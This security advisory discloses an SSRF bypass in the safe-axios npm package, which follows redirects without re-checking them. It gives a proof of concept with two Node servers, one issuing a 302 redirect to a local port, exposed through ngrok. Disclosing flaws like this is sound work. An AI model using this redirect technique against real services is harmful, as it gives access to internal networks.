safe-axios is an npm package that serves to provide protection from SSRF by validating URLs or hostname inputs.
Resources:
- Project's GitHub code repository: https://github.com/sijad/safe-axios
- Project's npm package: https://www.npmjs.com/package/safe-axios
The safe-axios package maintains a static denylist of IP addresses and ranges to compare against when validating if an IP address is to be considered as safe or not.
The package validates a request's URL via lookup for the IP address and checks it for SSRF before it is sent to Axios. However, the package doesn't account for any subsequent HTTP requests that may be requested by the remote server, such as a redirect response via a Location header.
Therefore, vulnerable to an SSRF bypass via redirect.
- Install the
safe-axiospackage:
npm install safe-axios- Create a local server that listens on
localhost:3000and serves as the attacker's "legitimate" remote server:
const http = require('http');
const server = http.createServer((req, res) => {
res.writeHead(302, { 'Location': 'http://localhost:3002' });
res.end();
});
server.listen(3000, () => {
console.log('Server listening on port 3000');
});Expose this server via legitimate public IP address such as via ngrok: ngrok http 3000
- Create a second local server that listens on
localhost:3002and serves as the attacker's malicious server:
const http = require('http');
const server = http.createServer((req, res) => {
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.write('Hello, world!\n');
res.end();
});
server.listen(3002, () => {
console.log('Server listening on port 3002');
});Run this server too.
- Define an
app.jsfile with the programmatic API ofsafe-axios:
import SafeAxios from 'safe-axios';
async function main() {
const safeAxios = SafeAxios.default;
// safe-axios successfully blocks this request
// const data = await safeAxios.request({url: 'https://localhost:3000/test'});
// safe-axios fails to block this request which uses a SSRF Redirect technique to
// resolve to a public IP address that then includes a private IP address as a redirect
// in a Location header, which safeAxios follows by default
const data = await safeAxios.request({url: 'https://2550-4-180-183-243.ngrok-free.app/test'});
console.log(data)
}
main();- Now run both servers at localhost:3000, and localhost:3002, and run the
app.jsNode.js program that makes a request to the first public server. Observe that the request is redirected to the second server, bypassing the SSRF protection mechanism.
All versions of safe-axios are vulnerable to this issue, up to and including to the latest version of 0.0.3.
Liran Tal